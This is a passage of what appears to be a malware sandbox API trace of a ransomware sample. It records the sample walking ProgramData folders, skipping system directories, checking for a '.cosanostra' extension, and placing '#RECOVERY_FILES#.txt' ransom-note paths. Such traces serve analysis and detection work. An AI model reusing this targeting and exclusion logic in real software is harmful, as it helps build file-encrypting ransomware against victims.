pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\.") returned 30 [0079.464] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.464] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0079.464] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.464] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0079.464] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\.") returned 30 [0079.464] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.464] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.464] lstrlenW (lpString="Windows") returned 7 [0079.464] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.465] lstrlenW (lpString="Program Files") returned 13 [0079.465] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.465] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.465] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.465] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.465] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.465] lstrlenW (lpString="System Volume Information") returned 25 [0079.465] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\..") returned 31 [0079.465] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.465] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.465] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0079.465] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.465] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0079.465] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\..") returned 31 [0079.465] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.465] lstrcmpiW (lpString1="Assistance", lpString2="Windows") returned -1 [0079.465] lstrlenW (lpString="Windows") returned 7 [0079.465] lstrcmpiW (lpString1="Assistance", lpString2="Program Files") returned -1 [0079.465] lstrlenW (lpString="Program Files") returned 13 [0079.465] lstrcmpiW (lpString1="Assistance", lpString2="Program Files (x86)") returned -1 [0079.465] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.465] lstrcmpiW (lpString1="Assistance", lpString2="$Recycle.bin") returned 1 [0079.465] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.465] lstrcmpiW (lpString1="Assistance", lpString2="System Volume Information") returned -1 [0079.465] lstrlenW (lpString="System Volume Information") returned 25 [0079.466] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance") returned 39 [0079.466] lstrcmpW (lpString1="Assistance", lpString2=".") returned 1 [0079.466] lstrcmpW (lpString1="Assistance", lpString2="..") returned 1 [0079.466] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\*") returned 41 [0079.466] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0079.466] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.466] lstrlenW (lpString="Windows") returned 7 [0079.466] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.466] lstrlenW (lpString="Program Files") returned 13 [0079.466] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.467] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.467] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.467] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.467] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.467] lstrlenW (lpString="System Volume Information") returned 25 [0079.467] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\.") returned 41 [0079.467] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.467] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.467] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.467] lstrlenW (lpString="Windows") returned 7 [0079.467] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.467] lstrlenW (lpString="Program Files") returned 13 [0079.467] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.467] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.467] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.467] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.467] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.467] lstrlenW (lpString="System Volume Information") returned 25 [0079.467] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\..") returned 42 [0079.467] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.467] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.467] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.467] lstrcmpiW (lpString1="Client", lpString2="Windows") returned -1 [0079.467] lstrlenW (lpString="Windows") returned 7 [0079.467] lstrcmpiW (lpString1="Client", lpString2="Program Files") returned -1 [0079.467] lstrlenW (lpString="Program Files") returned 13 [0079.467] lstrcmpiW (lpString1="Client", lpString2="Program Files (x86)") returned -1 [0079.467] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.467] lstrcmpiW (lpString1="Client", lpString2="$Recycle.bin") returned 1 [0079.467] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.467] lstrcmpiW (lpString1="Client", lpString2="System Volume Information") returned -1 [0079.467] lstrlenW (lpString="System Volume Information") returned 25 [0079.467] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client") returned 46 [0079.468] lstrcmpW (lpString1="Client", lpString2=".") returned 1 [0079.468] lstrcmpW (lpString1="Client", lpString2="..") returned 1 [0079.468] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\*") returned 48 [0079.468] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0079.469] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.469] lstrlenW (lpString="Windows") returned 7 [0079.469] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.469] lstrlenW (lpString="Program Files") returned 13 [0079.469] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.469] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.469] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.469] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.469] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.469] lstrlenW (lpString="System Volume Information") returned 25 [0079.469] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\.") returned 48 [0079.469] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.469] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.469] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.469] lstrlenW (lpString="Windows") returned 7 [0079.469] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.469] lstrlenW (lpString="Program Files") returned 13 [0079.469] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.469] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.469] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.469] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.469] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.469] lstrlenW (lpString="System Volume Information") returned 25 [0079.469] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\..") returned 49 [0079.469] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.469] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.469] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.469] lstrcmpiW (lpString1="1.0", lpString2="Windows") returned -1 [0079.469] lstrlenW (lpString="Windows") returned 7 [0079.469] lstrcmpiW (lpString1="1.0", lpString2="Program Files") returned -1 [0079.469] lstrlenW (lpString="Program Files") returned 13 [0079.469] lstrcmpiW (lpString1="1.0", lpString2="Program Files (x86)") returned -1 [0079.469] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.469] lstrcmpiW (lpString1="1.0", lpString2="$Recycle.bin") returned 1 [0079.469] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.469] lstrcmpiW (lpString1="1.0", lpString2="System Volume Information") returned -1 [0079.469] lstrlenW (lpString="System Volume Information") returned 25 [0079.469] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0") returned 50 [0079.469] lstrcmpW (lpString1="1.0", lpString2=".") returned 1 [0079.469] lstrcmpW (lpString1="1.0", lpString2="..") returned 1 [0079.470] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*") returned 52 [0079.470] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0079.470] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.470] lstrlenW (lpString="Windows") returned 7 [0079.470] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.470] lstrlenW (lpString="Program Files") returned 13 [0079.470] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.470] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.470] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.470] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.470] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.470] lstrlenW (lpString="System Volume Information") returned 25 [0079.470] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\.") returned 52 [0079.470] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.470] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.471] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.471] lstrlenW (lpString="Windows") returned 7 [0079.471] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.471] lstrlenW (lpString="Program Files") returned 13 [0079.471] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.471] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.471] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.471] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.471] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.471] lstrlenW (lpString="System Volume Information") returned 25 [0079.471] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\..") returned 53 [0079.471] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.471] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.471] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.471] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1 [0079.471] lstrlenW (lpString="Windows") returned 7 [0079.471] lstrcmpiW (lpString1="en-US", lpString2="Program Files") returned -1 [0079.471] lstrlenW (lpString="Program Files") returned 13 [0079.471] lstrcmpiW (lpString1="en-US", lpString2="Program Files (x86)") returned -1 [0079.471] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.471] lstrcmpiW (lpString1="en-US", lpString2="$Recycle.bin") returned 1 [0079.471] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.471] lstrcmpiW (lpString1="en-US", lpString2="System Volume Information") returned -1 [0079.471] lstrlenW (lpString="System Volume Information") returned 25 [0079.471] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned 56 [0079.471] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0079.471] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0079.472] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*") returned 58 [0079.472] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0x25a8b0 [0079.475] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.475] lstrlenW (lpString="Windows") returned 7 [0079.475] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.475] lstrlenW (lpString="Program Files") returned 13 [0079.475] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.475] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.475] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.475] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.475] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.475] lstrlenW (lpString="System Volume Information") returned 25 [0079.475] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\.") returned 58 [0079.475] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.475] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0079.476] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.476] lstrlenW (lpString="Windows") returned 7 [0079.476] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.476] lstrlenW (lpString="Program Files") returned 13 [0079.476] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.476] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.476] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.476] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.476] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.476] lstrlenW (lpString="System Volume Information") returned 25 [0079.476] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\..") returned 59 [0079.476] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.476] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.476] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0079.476] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="Windows") returned -1 [0079.476] lstrlenW (lpString="Windows") returned 7 [0079.476] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="Program Files") returned -1 [0079.476] lstrlenW (lpString="Program Files") returned 13 [0079.476] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="Program Files (x86)") returned -1 [0079.476] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.476] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="$Recycle.bin") returned 1 [0079.476] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.476] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="System Volume Information") returned -1 [0079.476] lstrlenW (lpString="System Volume Information") returned 25 [0079.476] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D") returned 76 [0079.476] StrStrIW (lpFirst="Help_CValidator.H1D", lpSrch=".cosanostra") returned 0x0 [0079.476] lstrcmpW (lpString1="Help_CValidator.H1D", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.476] lstrcmpW (lpString1="Help_CValidator.H1D", lpString2="_uninstalling_.png") returned 1 [0079.476] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D") returned 76 [0079.476] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0079.476] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2="Windows") returned -1 [0079.476] lstrlenW (lpString="Windows") returned 7 [0079.476] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2="Program Files") returned -1 [0079.476] lstrlenW (lpString="Program Files") returned 13 [0079.476] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2="Program Files (x86)") returned -1 [0079.476] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.476] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2="$Recycle.bin") returned 1 [0079.476] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.476] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2="System Volume Information") returned -1 [0079.476] lstrlenW (lpString="System Volume Information") returned 25 [0079.477] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W") returned 78 [0079.477] StrStrIW (lpFirst="Help_MKWD_AssetId.H1W", lpSrch=".cosanostra") returned 0x0 [0079.477] lstrcmpW (lpString1="Help_MKWD_AssetId.H1W", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.477] lstrcmpW (lpString1="Help_MKWD_AssetId.H1W", lpString2="_uninstalling_.png") returned 1 [0079.477] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W") returned 78 [0079.477] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0079.477] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2="Windows") returned -1 [0079.477] lstrlenW (lpString="Windows") returned 7 [0079.477] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2="Program Files") returned -1 [0079.477] lstrlenW (lpString="Program Files") returned 13 [0079.477] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2="Program Files (x86)") returned -1 [0079.477] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.477] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2="$Recycle.bin") returned 1 [0079.477] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.477] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2="System Volume Information") returned -1 [0079.477] lstrlenW (lpString="System Volume Information") returned 25 [0079.477] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W") returned 78 [0079.477] StrStrIW (lpFirst="Help_MKWD_BestBet.H1W", lpSrch=".cosanostra") returned 0x0 [0079.477] lstrcmpW (lpString1="Help_MKWD_BestBet.H1W", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.477] lstrcmpW (lpString1="Help_MKWD_BestBet.H1W", lpString2="_uninstalling_.png") returned 1 [0079.477] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W") returned 78 [0079.477] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0079.477] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2="Windows") returned -1 [0079.477] lstrlenW (lpString="Windows") returned 7 [0079.477] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2="Program Files") returned -1 [0079.477] lstrlenW (lpString="Program Files") returned 13 [0079.477] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2="Program Files (x86)") returned -1 [0079.477] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.477] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2="$Recycle.bin") returned 1 [0079.477] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.477] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2="System Volume Information") returned -1 [0079.477] lstrlenW (lpString="System Volume Information") returned 25 [0079.477] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H") returned 75 [0079.477] StrStrIW (lpFirst="Help_MTOC_help.H1H", lpSrch=".cosanostra") returned 0x0 [0079.477] lstrcmpW (lpString1="Help_MTOC_help.H1H", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.477] lstrcmpW (lpString1="Help_MTOC_help.H1H", lpString2="_uninstalling_.png") returned 1 [0079.477] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H") returned 75 [0079.477] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0079.477] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2="Windows") returned -1 [0079.477] lstrlenW (lpString="Windows") returned 7 [0079.478] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2="Program Files") returned -1 [0079.478] lstrlenW (lpString="Program Files") returned 13 [0079.478] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2="Program Files (x86)") returned -1 [0079.478] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.478] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2="$Recycle.bin") returned 1 [0079.478] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.478] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2="System Volume Information") returned -1 [0079.478] lstrlenW (lpString="System Volume Information") returned 25 [0079.478] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D") returned 76 [0079.478] StrStrIW (lpFirst="Help_MValidator.H1D", lpSrch=".cosanostra") returned 0x0 [0079.478] lstrcmpW (lpString1="Help_MValidator.H1D", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.478] lstrcmpW (lpString1="Help_MValidator.H1D", lpString2="_uninstalling_.png") returned 1 [0079.478] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D") returned 76 [0079.478] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0079.478] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2="Windows") returned -1 [0079.478] lstrlenW (lpString="Windows") returned 7 [0079.478] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2="Program Files") returned -1 [0079.478] lstrlenW (lpString="Program Files") returned 13 [0079.478] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2="Program Files (x86)") returned -1 [0079.478] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.478] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2="$Recycle.bin") returned 1 [0079.478] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.478] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2="System Volume Information") returned -1 [0079.478] lstrlenW (lpString="System Volume Information") returned 25 [0079.478] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck") returned 76 [0079.478] StrStrIW (lpFirst="Help_MValidator.Lck", lpSrch=".cosanostra") returned 0x0 [0079.478] lstrcmpW (lpString1="Help_MValidator.Lck", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.478] lstrcmpW (lpString1="Help_MValidator.Lck", lpString2="_uninstalling_.png") returned 1 [0079.478] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck") returned 76 [0079.478] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0079.478] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="Windows") returned -1 [0079.478] lstrlenW (lpString="Windows") returned 7 [0079.478] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="Program Files") returned -1 [0079.478] lstrlenW (lpString="Program Files") returned 13 [0079.478] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="Program Files (x86)") returned -1 [0079.478] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.478] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="$Recycle.bin") returned 1 [0079.478] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.478] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="System Volume Information") returned -1 [0079.479] lstrlenW (lpString="System Volume Information") returned 25 [0079.479] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned 103 [0079.479] StrStrIW (lpFirst="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpSrch=".cosanostra") returned 0x0 [0079.479] lstrcmpW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.479] lstrcmpW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="_uninstalling_.png") returned 1 [0079.479] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned 103 [0079.479] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0 [0079.479] FindClose (in: hFindFile=0x25a8b0 | out: hFindFile=0x25a8b0) returned 1 [0079.479] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\#RECOVERY_FILES#.txt") returned 77 [0079.479] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\#RECOVERY_FILES#.txt") returned 77 [0079.479] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0079.479] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0079.479] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: 